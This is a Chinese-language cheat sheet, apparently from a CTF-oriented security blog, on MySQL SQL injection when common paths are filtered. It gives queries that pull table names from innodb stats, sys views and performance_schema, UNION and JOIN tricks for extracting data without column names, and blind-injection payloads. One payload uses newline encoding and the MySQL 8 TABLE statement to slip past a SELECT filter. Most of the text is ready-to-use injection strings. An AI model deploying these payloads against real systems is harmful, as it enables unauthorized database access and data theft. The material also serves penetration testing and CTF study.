SQL注入：限制条件下获取表名、无列名注入

获取表名

innodb

MySQL 5.6 及以上版本存在innodb_index_stats，innodb_table_stats两张表，其中包含新建立的库和表

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

sys

在MySQL 5.7.9中sys中新增了一些视图，可以从中获取表名

//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();

//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();

//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

包含之前查询记录的表

SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();

Performance_Schema

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();

包含之前查询记录的表

SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();

包含表文件路径的表

SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

无列名注入

使用union select

select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1

//无逗号，有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;

盲注

((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))

要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的，盲注的时候要么可以使用hex或者binary。
这里只能使用concat将字符型和binary拼接，使之大小写敏感，JSON也可以使用char byte代替

无select

mysql 8.0.19新增语句table
https://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t，和select的区别在于

• table总是显示表的所有列
• table不允许任何的行过滤;也就是说，TABLE不支持任何WHERE子句。
  可以用来盲注表名

admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#

同时代替select被过滤导致只能同表查询的问题

PS：新增的values语句也挺有意思，在某些情况似乎可以代替union或select进行order by盲注

参考链接

Alternatives to Extract Tables and Columns from MySQL and MariaDB
在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧